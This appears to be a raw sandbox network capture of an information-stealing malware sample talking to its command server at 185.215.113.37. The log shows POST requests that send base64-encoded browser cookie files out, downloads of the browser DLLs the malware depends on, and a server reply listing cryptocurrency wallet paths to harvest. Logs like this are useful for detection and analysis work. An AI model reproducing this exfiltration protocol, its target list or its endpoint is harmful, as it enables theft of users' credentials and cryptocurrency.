Oct 25, 2024 01:27:13.657448053 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCA Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------CAAAAFBKFIECAAKECGCA--
Oct 25, 2024 01:27:14.438734055 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:17.374629974 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAEBKJDHDAFIECBAKKJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="file"------GDAEBKJDHDAFIECBAKKJ--
Oct 25, 2024 01:27:18.155083895 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:19.685873032 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file"------CAEHDBAAECBFHJKFCFBF--
Oct 25, 2024 01:27:20.462723017 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:20.912525892 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:21.189629078 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 25, 2024 01:27:22.067591906 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:22.344758034 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 25, 2024 01:27:22.561233997 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:22.945435047 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 25, 2024 01:27:23.106646061 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:23.384216070 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 25, 2024 01:27:23.932149887 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:24.209386110 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 25, 2024 01:27:24.258658886 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 01:27:24.536148071 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 25, 2024 01:27:25.004749060 CEST	201	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH Host: 185.215.113.37 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 01:27:25.795483112 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:25.848711967 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"wallets------DGDBKFBAKFBFHIECFBFI--
Oct 25, 2024 01:27:26.128895044 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 25, 2024 01:27:26.132225037 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="message"files------EHIJDHCAKKFCBGCBAAEC--
